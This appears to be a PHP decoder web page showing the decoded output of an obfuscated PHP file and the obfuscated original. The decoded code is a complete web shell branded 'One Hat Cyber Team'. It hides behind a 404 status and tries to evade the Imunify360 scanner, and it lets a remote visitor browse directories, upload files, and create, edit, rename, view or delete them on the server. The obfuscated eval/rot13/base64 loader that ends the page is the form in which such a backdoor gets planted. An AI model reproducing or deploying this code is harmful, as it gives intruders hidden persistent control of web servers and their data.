Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncom..

Decoded Output download

?>b'<?php
error_reporting(0);
ini_set(\'lsapi_backend_off\', \'1\');
ini_set("imunify360.cleanup_on_restore", false);
http_response_code(404);
$G3 = "scandir";
$c8 = [
    "7068705f756e616d65",
    "70687076657273696f6e",
    "676574637764",
    "6368646972",
    "707265675f73706c6974",
    "61727261795f64696666",
    "69735f646972",
    "69735f66696c65",
    "69735f7772697461626c65",
    "69735f7265616461626c65",
    "66696c6573697a65",
    "636f7079",
    "66696c655f657869737473",
    "66696c655f7075745f636f6e74656e7473",
    "66696c655f6765745f636f6e74656e7473",
    "6d6b646972",
    "72656e616d65",
    "737472746f74696d65",
    "68746d6c7370656369616c6368617273",
    "64617465",
    "66696c656d74696d65",
];
$lE = 0;
T4:
if (!($lE < count($c8))) {
    goto Je;
}
$c8[$lE] = JD($c8[$lE]);
Cy:
$lE++;
goto T4;
Je:
if (isset($_GET["p"])) {
    goto sr;
}
$Jd = $c8[2]();
goto VN;
sr:
$Jd = jD($_GET["p"]);
$c8[3](Jd($_GET["p"]));
VN:
function Ss($SP)
{
    $dE = "";
    $lE = 0;
    NZ:
    if (!($lE < strlen($SP))) {
        goto Xc;
    }
    $dE .= dechex(ord($SP[$lE]));
    WK:
    $lE++;
    goto NZ;
    Xc:
    return $dE;
}
function Jd($SP)
{
    $dE = "";
    $gf = strlen($SP) - 1;
    $lE = 0;
    Xp:
    if (!($lE < $gf)) {
        goto ur;
    }
    $dE .= chr(hexdec($SP[$lE] . $SP[$lE + 1]));
    Wn:
    $lE += 2;
    goto Xp;
    ur:
    return $dE;
}
function rn($F1)
{
    $Jd = fileperms($F1);
    if (($Jd & 0xc000) == 0xc000) {
        goto FZ;
    }
    if (($Jd & 0xa000) == 0xa000) {
        goto Eu;
    }
    if (($Jd & 0x8000) == 0x8000) {
        goto ES;
    }
    if (($Jd & 0x6000) == 0x6000) {
        goto sA;
    }
    if (($Jd & 0x4000) == 0x4000) {
        goto lG;
    }
    if (($Jd & 0x2000) == 0x2000) {
        goto tV;
    }
    if (($Jd & 0x1000) == 0x1000) {
        goto Tx;
    }
    $lE = "u";
    goto cC;
    FZ:
    $lE = "s";
    goto cC;
    Eu:
    $lE = "l";
    goto cC;
    ES:
    $lE = "-";
    goto cC;
    sA:
    $lE = "b";
    goto cC;
    lG:
    $lE = "d";
    goto cC;
    tV:
    $lE = "c";
    goto cC;
    Tx:
    $lE = "p";
    cC:
    $lE .= $Jd & 0x100 ? "r" : "-";
    $lE .= $Jd & 0x80 ? "w" : "-";
    $lE .= $Jd & 0x40 ? ($Jd & 0x800 ? "s" : "x") : ($Jd & 0x800 ? "S" : "-");
    $lE .= $Jd & 0x20 ? "r" : "-";
    $lE .= $Jd & 0x10 ? "w" : "-";
    $lE .= $Jd & 0x8 ? ($Jd & 0x400 ? "s" : "x") : ($Jd & 0x400 ? "S" : "-");
    $lE .= $Jd & 0x4 ? "r" : "-";
    $lE .= $Jd & 0x2 ? "w" : "-";
    $lE .= $Jd & 0x1 ? ($Jd & 0x200 ? "t" : "x") : ($Jd & 0x200 ? "T" : "-");
    return $lE;
}
function Xe($OB, $Ch = 1, $BL = "")
{
    global $Jd;
    $xe = $Ch == 1 ? "success" : "error";
    echo "<script>swal({title: \"{$xe}\", text: \"{$OB}\", icon: \"{$xe}\"}).then((btnClick) => {if(btnClick){document.location.href=\"?p=" .
        Ss($Jd) .
        $BL .
        "\"}})</script>";
}
function tF($yf)
{
    global $c8;
    if (!(trim(pathinfo($yf, PATHINFO_BASENAME), ".") === "")) {
        goto IE;
    }
    return;
    IE:
    if ($c8[6]($yf)) {
        goto PF;
    }
    unlink($yf);
    goto jK;
    PF:
    array_map(
        "deldir",
        glob($yf . DIRECTORY_SEPARATOR . "{,.}*", GLOB_BRACE | GLOB_NOSORT)
    );
    rmdir($yf);
    jK:
}
?> 
<!DOCTYPE html>
<html lang="en">
<head>
<meta property="og:image" content="//news24.co.id/thumb/news/news24_coid_1590287649.jpg" />
<meta property="og:title" content="One Hat Cyber Team" />
<meta property="og:description" content="Tidur = Lemah" />
<meta name="theme-color" content="lime">
<meta name="viewport" content="width=device-width, initial-scale=0.60, shrink-to-fit=no">
<title>One Hat Cyber Team</title>
<link rel="stylesheet" href="//cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css">
<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<link rel="icon" href="//news24.co.id/thumb/news/news24_coid_1590287649.jpg">
<style type="text/css">
@import url(\'https://fonts.googleapis.com/css2?family=Almendra:ital,wght@0,400;0,700;1,400;1,700&display=swap\');
@import url(\'//fonts.googleapis.com/css2?family=Protest+Revolution&display=swap\');

body {
    color: black;
    font-size: 0px;
    font-family: \'Almendra\';
    width: 99%;
    padding: 0px;
    margin-right: auto;
    margin-left: auto;
    margin-top: 7px;
    margin-bottom: 7px;
    background-color: black!important;
}

.bg-dark {
    background-color: black!important;
}

.border {
    box-shadow: 0px 0px 10px lime;
    border: 2px solid lime!important;
    border-radius: 5px;
    background: transparent;
}

.border:hover {
    box-shadow: 0px 0px 10px lime;
    border: 2px solid lime!important;
}

.table td {
    padding: 0.1rem;
    box-shadow: inset 0px 0px 0px 1px lime;
    border-radius: 2px;
}

.table thead th {
    font-family: \'Kaushan Script\', cursive;
    box-shadow: inset 0px 0px 0px 1.5px lime;
    color: lime;
    padding: 0.25rem;
    border-radius: 5px;
    background: linear-gradient(to bottom, black, #3f3f3f80);
}

.table-hover tbody tr:hover td {
    background: #3f3f3f80;
    box-shadow: inset 0px 0px 0px 1px lime;
    border-radius: 2px;
}

.table-hover tbody tr:hover td>* {
}

.table>tbody>tr>* {
    color:#fff;
    vertical-align:middle;
}

.form-control {
    background:0 0!important;
    color:#fff!important;
    border-radius:0;
}

.form-control::placeholder {
    color:#fff;
    opacity:1;
}

.form-group {
    margin-top: 1.5px;
    margin-bottom: 1.5px;
}

li {
    font-size:large!important;
    color: lime!important;
    list-style: inherit!important;
}

a {
    color: #ffffff;
    text-decoration: none!important;
}

a:hover {
    text-decoration: none!important;
    color: lime;
    animation: kedip 1s linear infinite;
}

h5 {
    margin-top: 1.5px;
    margin-bottom: 1.5px;
    color: lime!important;
    padding: 2px;
}

textarea {
    width: 97%;
    font-size: medium!important;
    font-family: inherit;
    height: 44vh;
    padding-left: 5px;
}

button, input {
    border: 2px solid lime;
    border-radius: 5px;
    font-size: 15px;
    color:white;
    line-height: normal;
    font-family: inherit;
    box-shadow: 0px 0px 5px lime;
}

button, input:hover {
    border: 2px solid lime;
    cursor: pointer;
    box-shadow: 0px 0px 5px lime;
}

.ohct {
    padding-left: 1rem;
    padding-right: 1rem;
    color: white;
    border: 2px solid lime;
    border-radius: 5px;
    background-color: transparent;
    font-family: inherit;
    font-size: 16px;
    box-shadow: 0px 0px 5px lime;
}

.ohct:hover {
    border: 2px solid lime;
    color: lime!important;
    box-shadow: 0px 0px 5px lime;
}

.combet {
    color: white;
}

.combet:hover {
    color: lime;
}

.p-1 {
    padding: 4px;
}

::selection {
    color: black;
    background: silver;
}

.fa {
    padding: 10px;
    font-size: 20px;
    width: 50px;
    text-align: center;
    text-decoration: none;
    margin: 5px;
    color: lime;
}

.fa:hover {
    border: 2px solid lime;
}

.text-light {
    color: #f8f9fa!important;
    font-size: large!important;
}

.kedip {
    animation: kedip 1s linear infinite;
}

@keyframes kedip {
    0% {
        color: lime;
    }
    50% {
        color: white;
    }
    100% {
        color: lime;
    }
}
</style>
<script src="//unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
</head>
<body>
<div class="table-responsive text-light" style="text-align: left;padding: 4px;border: 2px solid lime;border-radius:5px;">
<div style="text-align: center;display: flex;align-items: center;justify-content: center;align-content: center;">
<a href="?" style="font-size: 2rem;text-shadow: 0px 0px 10px lime;padding-left: 0.3rem;padding-right: 0.3rem;"><span class="kedip">One Hat Cyber Team</span></a> 
</div>
<li>Your IP : <span style="color: white;"><?php echo gethostbyname(
    $_SERVER["REMOTE_ADDR"]
); ?></span></li>
<li>Server IP : <span style="color: white;"><?php echo gethostbyname(
    $_SERVER["SERVER_NAME"]
); ?></span></li>
<li>Server : <span style="color: white;"><?php echo php_uname(); ?></span></li>
<li>Server Software : <span style="color: white;"><?php echo $_SERVER[
    "SERVER_SOFTWARE"
]; ?></span></li>
<li>PHP Version : <span style="color: white;"><?php echo phpversion(); ?></span></li>
<li><a href="?p=<?= ss($Jd) .
    "&a=" .
    Ss("newFile") ?>" class="ohct">Buat File</a> | <a href="?p=<?= Ss($Jd) .
    "&a=" .
    sS("newDir") ?>" class="ohct">Buat Folder</a></li>
<li>
            <form method="post" enctype="multipart/form-data" style="padding: 0.10rem;display: inline-block;">
    <input type="file" name="files[]">
    <input type="submit" value="Upload" name="submit" class="button ohct">
</form>

<?php if (!isset($_FILES[base64_decode(\'ZmlsZXM=\')])) {
    goto ea;
}

$uploadedFiles = $_FILES[base64_decode(\'ZmlsZXM=\')][base64_decode(\'bmFtZQ==\')];
$index = 0;

th:
if (!($index < count($uploadedFiles))) {
    goto ea;
}

if (move_uploaded_file($_FILES[base64_decode(\'ZmlsZXM=\')][base64_decode(\'dG1wX25hbWU=\')][$index], $uploadedFiles[$index])) {
    goto PG;
}

Xe(base64_decode(\'RmlsZSBnYWdhbCBkaXVuZ2dhaA==\'), 0);
goto tG;

PG:
xe(base64_decode(\'RmlsZSBiZXJoYXNpbCBkaXVuZ2dhaA==\'));

tG:
$index++;
goto th;

dx:
ea:

if (!isset($_GET[base64_decode(\'ZG93bmxvYWQ=\')])) {
    goto FA;
}

header(base64_decode(\'Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0=\'));
header(base64_decode(\'Q29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogQmluYXJ5\'));
header(base64_decode(\'Q29udGVudC1MZW5ndGg6IA==\') . getFileSize($_GET[base64_decode(\'bmFtZQ==\')]));
header(base64_decode(\'Q29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Ig==\') . $_GET[base64_decode(\'bmFtZQ==\')] . base64_decode(\'Ig==\'));

FA:
?>
        </li>
</div>
<div class="table-responsive text-light" style="text-align: left;padding: 4px;margin-bottom: 3px;margin-top: 3px;border: 2px solid lime;border-radius:5px;">
<li>Dir : <span><?php
$Op = $c8[4]("/(\\|\/)/", $Jd);
foreach ($Op as $j3 => $Oe) {
    if (!($j3 == 0 && $Oe == "")) {
        goto xi;
    }
    echo "<a href=\"?p=2f\" class=\"combet\">~</a>/";
    goto CS;
    xi:
    if (!($Oe == "")) {
        goto sq;
    }
    goto CS;
    sq:
    echo "<a class=\"combet\" href=\"?p=";
    $lE = 0;
    de:
    if (!($lE <= $j3)) {
        goto ie;
    }
    echo sS($Op[$lE]);
    if (!($lE != $j3)) {
        goto s0;
    }
    echo "2f";
    s0:
    dg:
    $lE++;
    goto de;
    ie:
    echo "\">{$Oe}</a>/";
    CS:
}
Go:
?> 
</span></li></div>
<div class="table-responsive text-light" style="text-align: center;font-family: inherit;font-size: large;">
<?php
if (!isset($_GET["a"])) {
    goto Un;
}
if (!isset($_GET["a"])) {
    goto cc;
}
$im = Jd($_GET["a"]);
cc:
?>
<?php
if ($im == "delete") {
    $BL = $Jd . "/" . jd($_GET["n"]);
    
    if ($_GET["t"] == "d") {
        rmdir($BL);
        
        if (!file_exists($BL)) {
            xe("folder deleted successfully");
        } else {
            Xe("failed to delete the folder", 0);
        }
    }
    
    if ($_GET["t"] == "f") {
        unlink($BL);
        
        if (!file_exists($BL)) {
            xe("file deleted successfully");
        } else {
            Xe("failed to delete the file", 0);
        }
    }
} else {
    Lu:
}
?>
<?php
if ($im == "newDir") {
    goto Fg;
}
if ($im == "newFile") {
    goto Pb;
}
if ($im == "rename") {
    goto Lw;
}
if ($im == "edit") {
    goto Ox;
}
if ($im == "view") {
    goto Ag;
}
goto WC;
Fg:
?>
<h5 class="p-1" style="text-align: center;border: 2px solid lime;border-radius:5px;">Nama Folder Baru :</h5>
<form method="post">
<div class="form-group">
<input name="n" id="n" class="border p-1" autocomplete="off" style="text-align: center;">
</div>
<div class="form-group" style="margin-top: 10px;">
<button type="submit" name="s" class="ohct">Create</button>
</div> 
</form> 
<?php if (isset($_POST[base64_decode(\'cw==\')])) {
    $folderName = $_POST[base64_decode(\'bg==\')];
    if (file_exists("{$Jd}/{$folderName}")) {
        xE(base64_decode(\'TmFtYSBmb2xkZXIgdGVsYWggZGlndW5ha2Fu\'), 0, base64_decode(\'JmE9\') . SS(base64_decode(\'bmV3RGly\')));
    } else {
        if (mkdir("{$Jd}/{$folderName}")) {
            xe(base64_decode(\'Rm9sZGVyIGJlcmhhc2lsIGRpYnVhdA==\'));
        } else {
            Xe(base64_decode(\'Rm9sZGVyIGdhZ2FsIGRpYnVhdA==\'), 0);
        }
    }
}
goto WC;
Pb:
?>
<h5 class="p-1" style="text-align: center;border: 2px solid lime;border-radius:5px;">Nama File Baru :</h5>
<form method="post">
<div class="form-group">
<input type="text" name="n" id="n" class="border p-1" placeholder="" style="text-align: center;">
</div>
<div class="form-group">
<textarea style="resize:none" name="ctn" id="ctn" cols="30" rows="10" class="form-control border" placeholder=""></textarea>
</div>
<div class="form-group" style="margin-top: 10px;">
<button type="submit" name="s" class="ohct">Create</button> 
</div>
</form>
<?php if (isset($_POST[base64_decode(\'cw==\')])) {
    $fileName = $_POST[base64_decode(\'bg==\')];
    $fileContent = $_POST[base64_decode(\'Y3Ru\')];
    $filePath = "{$Jd}/{$fileName}";

    if (file_exists($filePath)) {
        xE(base64_decode(\'TmFtYSBmaWxlIHRlbGFoIGRpZ3VuYWthbg==\'), 0, base64_decode(\'JmE9\') . SS(base64_decode(\'bmV3RmlsZQ==\')));
    } else {
        if (file_put_contents($filePath, $fileContent)) {
            xe(base64_decode(\'RmlsZSBiZXJoYXNpbCBkaWJ1YXQ=\'), 1, base64_decode(\'JmE9\') . SS(base64_decode(\'dmlldw==\')) . base64_decode(\'Jm49\') . SS($fileName));
        } else {
            Xe(base64_decode(\'RmlsZSBnYWdhbCBkaWJ1YXQ=\'), 0);
        }
    }
}
goto WC;
Lw:
?>
<h5 class="border p-1">Rename File : <?= jD($_GET["n"]) ?></h5>
<form method="post">
<div class="form-group">
<input type="text" name="n" id="n" style="text-align: center;" class="border p-1" value="<?= jD(
    $_GET["n"]
) ?>">
</div>
<div class="form-group" style="margin-top: 10px;">
<button type="submit" name="s" class="ohct">Save</button>
</div>
</form>
<?php
isset($_POST["s"])
    ? (rename($Jd . "/" . jD($_GET["n"]), $_POST["n"])
        ? xe("successfully changed the folder name")
        : Xe("failed to change the folder name", 0))
    : null;
goto WC;
Ox:
?>
<h5 class="p-1" style="text-align: center;border: 2px solid lime;border-radius:5px;">Edit File Name : <font color="white"><?= htmlspecialchars($_GET["n"]); ?></font></h5>
<form method="post">
    <div class="form-group">
        <textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control border"><?= htmlspecialchars(file_get_contents($Jd . "/" . jD($_GET["n"]))); ?></textarea>
    </div>
    <div class="form-group" style="margin-top: 10px;">
        <button type="submit" name="s" class="ohct">Save</button>
    </div>
</form>
<?php  
if (isset($_POST["s"])) {
    $file = $Jd . \'/\' . jD(basename($_GET["n"]));
    $content = $_POST["ctn"];
    
    if (strpos($file, $Jd) === 0 && file_put_contents($file, $content)) {
        xe("File content successfully updated", 1, "&a=" . sS("view") . "&n={$_GET["n"]}");
    } else {
        xE("Failed to update file content");
    }
}
goto WC;
Ag:
?>
<h5 class="p-1" style="text-align: center;border: 2px solid lime;border-radius:5px;">View File Name : <font color="white"><?= jd(
    $_GET["n"]
) ?></font></h5>
<div class="form-group">
<textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control border" readonly><?= $c8[18](
    $c8[14]($Jd . "/" . jd($_GET["n"]))
) ?></textarea>
</div>
<?php WC: ?>
</div>
<?php
goto mR;
Un:
?>
<table class="table table-hover table-borderless table-sm" style="text-align: center;width: 100%;">
<thead class="text-light">
<tr>
<th style="width: 45%;">Name</th>
<th style="width: 13%;">Size</th>
<th style="width: 13%;">Permission</th>
<th colspan="3">Action</th>
</tr>
</thead>
<tbody class="text-light"> <?php
$G3 = $c8[5]($G3($Jd), [".", ".."]);
foreach ($G3 as $yf) {
    if ($c8[6]("{$Jd}/{$yf}")) {
        goto CB;
    }
    goto Qj;
    CB:
    echo " 
<tr>
<td style=\"text-align: left;\">
<i class=\"fa fa-fw fa-folder-o\" style=\"border: 0;padding: 0;width: 1.28571429em;\"></i><a href=\"?p=" .
        sS("{$Jd}/{$yf}") .
        "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on " .
        $c8[19]("Y-m-d H:i", $c8[20]("{$Jd}/{$yf}")) .
        "\">{$yf}</a></td>
<td style=\"color: black;\"><span></span></td>
<td><font color=\"" .
        ($c8[8]("{$Jd}/{$yf}")
            ? "#00ff00"
            : (!$c8[9]("{$Jd}/{$yf}")
                ? "lime"
                : null)) .
        "\">" .
        RN("{$Jd}/{$yf}") .
        "</font></td>
<td style=\"color: black;width: 9.5%;\"><span></span></td>
<td>
<a href=\"?p=" .
        ss($Jd) .
        "&a=" .
        ss("rename") .
        "&n=" .
        ss($yf) .
        "&t=d\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\">Rename</a>
</td>
<td>
<a href=\"?p=" .
        sS($Jd) .
        "&a=" .
        ss("delete") .
        "&n=" .
        ss($yf) .
        "\" class=\"delete\" data-type=\"folder\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\">Delete</a>
</td>
</tr>";
    Qj:
}
ad:
foreach ($G3 as $F1) {
    if ($c8[7]("{$Jd}/{$F1}")) {
        goto wA;
    }
    goto X1;
    wA:
    $kL = $c8[10]("{$Jd}/{$F1}") / 1024;
    $kL = round($kL, 3);
    $kL = $kL > 1024 ? round($kL / 1024, 2) . "  MB" : $kL . "  KB";
    echo "
<tr>
<td style=\"text-align: left;\">
<i class=\"fa fa-fw fa-file-o\" style=\"border: 0;padding: 0;width: 1.28571429em;\"></i><a href=\"?p=" .
        SS($Jd) .
        "&a=" .
        sS("view") .
        "&n=" .
        SS($F1) .
        "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on " .
        $c8[19]("Y-m-d H:i", $c8[20]("{$Jd}/{$F1}")) .
        "\">{$F1}</a></td>
<td><span>{$kL}</span></td>
<td><font color=\"" .
        ($c8[8]("{$Jd}/{$F1}")
            ? "#00ff00"
            : (!$c8[9]("{$Jd}/{$F1}")
                ? "lime"
                : null)) .
        "\">" .
        rN("{$Jd}/{$F1}") .
        "</font></td>
<td><a href=\"?p=" .
        Ss($Jd) .
        "&a=" .
        Ss("edit") .
        "&n=" .
        SS($F1) .
        "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Edit\">Edit</a></td>
<td><a href=\"?p=" .
        ss($Jd) .
        "&a=" .
        SS("rename") .
        "&n=" .
        ss($F1) .
        "&t=f\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\">Rename</a></td>
<td><a href=\"?p=" .
        ss($Jd) .
        "&a=" .
        sS("delete") .
        "&n=" .
        ss($F1) .
        "\" class=\"delete\" data-type=\"file\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\">Delete</a></td>
</tr>";
    X1:
}
a2:
?> 
</tbody>
</table>
<?php mR: ?> 
</div>
<script src="//code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" ></script>
<script src="//cdn.jsdelivr.net/npm/bs-custom-file-input/dist/bs-custom-file-input.min.js"></script>
<script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?\'\':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!\'\'.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return\'\w+\'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp(\'\b\'+e(c)+\'\b\',\'g\'),k[c])}}return p}(\'E.n();$(\'[2-m="4"]\').4();$(".l").k(j(e){e.g();h 0=$(6).5("2-0");c({b:"a",9:"o i q?",w:"D "+0+" p C B",A:7,z:7,}).y((8)=>{r(8){x 1=$(6).5("3")+"&t="+((0=="v")?"d":"f");u.s.3=1}})});\',41,41,\'type|buildURL|data|href|tooltip|attr|this|true|willDelete|title|warning|icon|swal||||preventDefault|let|you|function|click|delete|toggle|init|Are|will|sure|if|location||document|folder|text|const|then|dangerMode|buttons|deleted|be|This|bsCustomFileInput\'.split(\'|\'),0,{}))</script>
</body>
</html>'

Did this file decode correctly?

Original Code

<?php
eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev("t\x63tD/u5zlF\x62RJTiE9Fsmefh/vsJ97YPJRpHmxO30SXLtw\x616Fp4\x62\x42hqYh4I2\x43o2LkpjqTy\x41DSHSH8O2JwO1\x41G2os\x620Nx/YZ8VYRgr\x2bq0\x63NQk\x436RlS3RosZyxrj6UmX8\x2boN9\x2bk\x42HWqJmh09IDh8SZy9N0xuYKR\x62RuOZW7oNpWvpDf\x425E4Wn\x427n\x43\x413Wj\x626j\x43nJHvK5nS7lStZZ\x421RrO71gS4x\x41w\x42pfH80\x431U\x62M\x2b\x63St\x2b\x612WqsfTKgiDlxj\x42lLvff9DM/yqzY0D0v5rTrKZhruwHXwPZ\x43l\x61kK1mVD\x639oU56\x43upuVp3vuULTwk8/EfUZqvxo\x2bh0NP\x2b055127iXZtXlL65/N0fLXj\x616Sd\x63Q6ohQeZvv0D5nJxONpW3ronfFkQfrqsFJ1rhfHVVxJ5\x61UpWGtsOVul0v\x61\x43GXoM6qK\x43fQ5eYlK\x41VpS2soSFrwruKJ1\x2bOMltxnK\x2bmUerJXFnugl7VlTndOko\x62JK\x63FmUHP93k\x63\x43vq\x63DGkNdv\x2bwT\x62i6h\x43fEz\x61rnU8rRw\x42D\x41VFe93XnW15Fe/wXdl\x436\x2bIeV4lv\x2bxL\x41hw/RPYeN/H\x62\x2b5T\x2bpPxl68/X34F\x614flrPuw1pJ1OyOp\x42fY9LrLR1/Vjsxp6oiFqw7J/uqzLex7\x63zKWXVMT5Zxrsx77gE\x62E2P\x62M5pG6inqgPUq\x42Wf7\x61e9Fix/7nW2l\x2by\x43W7W1Opo4F\x413N\x62WjleU8iX\x42PvsI0h9nU8O3\x2b\x42uPto\x63\x63VyjKJXXSWLkZ9yoQuzWh3qKW32\x62w6HeeD\x42xz3TeqIDjuLYgkVDTy\x63\x63ZYkwmoz/I\x41uk\x41IQv24PI9ezPLwd2hvKH\x2b\x41HjXl\x61Xl\x62\x61ZP\x63\x2bke7VfhX\x43v80eEZivR6wvXi\x42JV\x62\x43Dqqtk0eq0eRRjZSuh00gM/rZDpXMN8\x631fZ\x41g6X\x61WLH\x61\x638SWImLN8j9N/gH2gkXW28wF2E\x41sQ5v4szv\x61F/X\x63IFWU/ddU4r\x2blmsHgzqQe3rj5OYtR67e\x63f4YOjnj7w9Rypwt5/8shw\x2bEV33T/nS\x62P8\x622j\x63dv8/4vuIjKJ9xh5pogRI\x43reuPU/O\x41J239x2dof\x63Hjf/Pk0\x61XPpH/J0F5\x41K1lwR\x63DWh1\x410hG3TePTZh\x61S\x63uhU1meIVkV0uGE\x43p\x61KWoV9df/\x43xvfS\x2b\x42Twv23H5\x2bDHjO8k1/sV\x2bph\x43s/Jj6P\x62y4Xe7\x62jXXw6jPw6Qj\x62mY6p9wYdNWi/j0DEnE\x2bui\x62SowyRMs3JJI\x62rxDLf\x62Z\x43L\x62QWhWqrh0PU\x63RdFNVDJ9H\x63ffYGMT\x62GRkmRl\x41\x61musMhjKXPF\x41XmNoRpML\x63V5s5UPsVQ7Gi\x614f6\x63qYh/WM9m\x62sPVgZzu8DsFt\x6367QOjnfl4j87J/wR0R\x611r\x2b\x63Nq9r0H9VN6U0y5\x41WtGFrSKpuXJ\x2b\x61wQMXulMkfrM\x62VUjdm\x62\x61K8HeW\x62\x61Edz/\x63uZXX5LhQWO\x2bs3nFldYK/gqgZlxUL\x62Khg4Id/urqSh\x42FTO2/\x2bh\x41y6\x62ngOo9F\x42tY7is2tuTUYfUJVFHjHzoOhkqDE1S9m7WJo4vIh/9ZY7YTQ1P4Q\x43Orq59t2VejrENe1WyJl06\x41jMexlonsj\x620m6P0eu88Inpr/xnUJKOOw2rm5nvMsMTpYtn6x\x42vFR\x2b8Tz2M3jH\x62/yJyWvv/pTnM/f94L19\x2b\x2b726E\x413vtJm0ehQJm8kUlK6Lh3jJ9\x627UohXvyJG/1T5R\x62U2zh1ljdOX\x61k\x61pOmKOLqhXI6O\x611kVFw20lIJ\x41io6\x2b5KoHw\x61LQXx4wQ\x434k6\x42JXTuZV\x41WsVXsvVgjP\x2bEFUn\x2bINNsLpI3MkdyUwgNIHG9lf\x41vhjRNIe3\x41szYzkuO3LFirg\x62rKwuK0q07KzqNhrivWl96DJ9d\x2bqSpJ9\x43PiHDVGLP/1\x619pJ\x62wIvep16zWjl3Twqs6j\x42\x63DyPjeO\x43YO2OPpg7PI6Zu\x41L\x436Oe\x619T0\x2bzpZG7U0\x62IrmGWltsk\x2bYE/x4XWqnZJxn0rq/KK8LeZyURXzHEGroXlg0XQDt\x62ki2j0DV\x41\x42mkJ4pxpwkIXo\x62rQ3wLji92xwjzL5gpZgPJHXoELRKusx5/U\x41EziYDZ7kYww0\x43Ug\x2bGeLfMSTNhDXkOR4zUjR\x43wNvrNW8XVzykjvXXiyLR0JLGJRq\x2by\x630hlxmr\x2bdf\x2bSUJwPJJtGNwtyLEmYefhTGtomkqk6GhiY\x41\x62POsQnde61XDn\x42\x43\x629Ih\x2b\x628\x41SHeQXZ7hz6HJtN7vQeSoM/t\x62zoSdV8\x42YKPQFfZJK\x43MjM\x62vT6yVnxN\x63G7\x416O\x2byJFTlxOTkdzsXEN9rql8TQH\x42yl2fNooXqK\x62plk54uu\x2b\x62NJDgNoP\x61e\x428\x63W\x63YuzfD2YOv4/wd/Q95LrHl\x637ZMzkPwH\x63zr8jOymXT5/3uxJhQG/7L\x2b\x61HQp1\x63Rkop\x62j11\x43iXd\x63Kz\x2bDj4uwPS0z\x2biTdK/KFfsiYX28VO7iRTHuQEGui1i/jWxI/DW/l59xm5sU\x63Xss\x61Spvgt168dDDgtNKIKuv2pFVKQ0JegPJ\x43PXPD26d20R1JO1P6\x41jdzLO472L7EqeLHr4QeuVdiml9OVVs0kv\x63NJ\x622Mos1iHoDvw7Gh9ThGw7GgT/\x41\x2b1d87T\x62ZmJOHz9L/RRhxDxwsmOjId2hQUqZ9PhQd0RomNz\x43\x411wxHEN3k\x6343IO\x62fQ6i0WI\x62\x43Oe7oiR51kN\x63Q69Z6pKEHi0uo\x63kjMMPvOvJZy89r\x423TSkes7LMlxJ\x625szqRk3oqGfVxh\x62nZDU7tN/iMiw0JOJhgXW\x2bF3v75HuxrU\x42VMXK3jDgu/K\x42P9rl\x63125MioOS7N4z3\x61j7UQ3igEsvTIku4V22ZJ7lorJLOfzZqJk4pmGD45dwG7HpxsY/Df8uNekD4\x41jdi\x42U7uvJNunfgz4JmJ4jr79\x62g9gidKGSkiUNHo\x429dr8methZYzKR6JOt9ZgMhZO4m\x62dn\x63mo\x42xDGR\x63GNhE\x62\x41SFJQrYE0uUZ6yFGqT6j\x635mxUEqIpTn\x61wDQ\x42m9\x43SjinvxjkoSXW\x61M\x41\x43fN4k8V6T7EQRE9/S\x2bKUR\x43oEw9i1e\x43Rl\x63Rx\x42ZPulNh\x61zkq\x2bheFq72dQg8zjmd\x62oGivV/sP7qV\x41ynjSPGDO\x61jdikrHDT/g44IwkNg7GtwN5Z7\x41zolKQY\x42\x63LDv\x42vlhJ6\x415sGtpyQmVe\x41URhTw4GVyDlin2Vh8\x42dW9is0\x41dU9F\x43Jo6rf\x41\x61\x42EPFs2o\x62tWexqo6rnUIdsH8oE0ELxEQ\x43JR\x61JqL6YQw\x432nhs\x41OYwxY/En0e\x43qwzMUJ\x2bL6qxm1d0y\x411yH0GQ\x43lp\x43NQ\x43K7\x41\x2b32RSNs\x43HZ\x41H9Lj7\x2bkzLM1kivZ6OlPzL\x61y\x63zrUpENi6hRiKkKIoeL3\x43Gkd\x2bgz2J\x62ixt3jPQPFyQsGuxd\x63ohU\x420HL3Qy31gOoDwLW7\x63K8\x2b3uZ\x2belQ449o2Z1ITM\x62JyO39DLw3lh\x2bNHyVRG69uqnq2\x42gJD\x63LO1XK\x43\x2bXy\x41mVqH\x62s434S7Sz/dtwp\x610g5iDvWzljqyE2r3oKN23eMZDz\x43Iy\x63GO4z\x63OvJTfKtf2iX\x2bo/yM\x2bQkfZsJT9/lREnmep/t\x426zJ0OpnP3k6Si4QU3NRFKQ\x2bv2SfV\x61Vk4KlnTF3Z41jEN\x628w7pmHnO\x2bdnknuU06pk//K0E\x41SnhOXe3jlIt66n\x63N9wS\x41tNYTQyE7wGQ4rjI\x62NSkqUlYVf1Vm6n\x435X1StUXqx6XN3EKQs\x61\x42MF\x2bxLFgHD8\x61O/QntumMJNgwuypXzPtrIMuX08\x42XX9zHJn\x43k5Qkluk\x41odNjfeMLW5uV7\x425qipxP5/g\x61rjheHs2t3/gjj6PyM6QzF1w\x62IEs\x61ETe0GRO8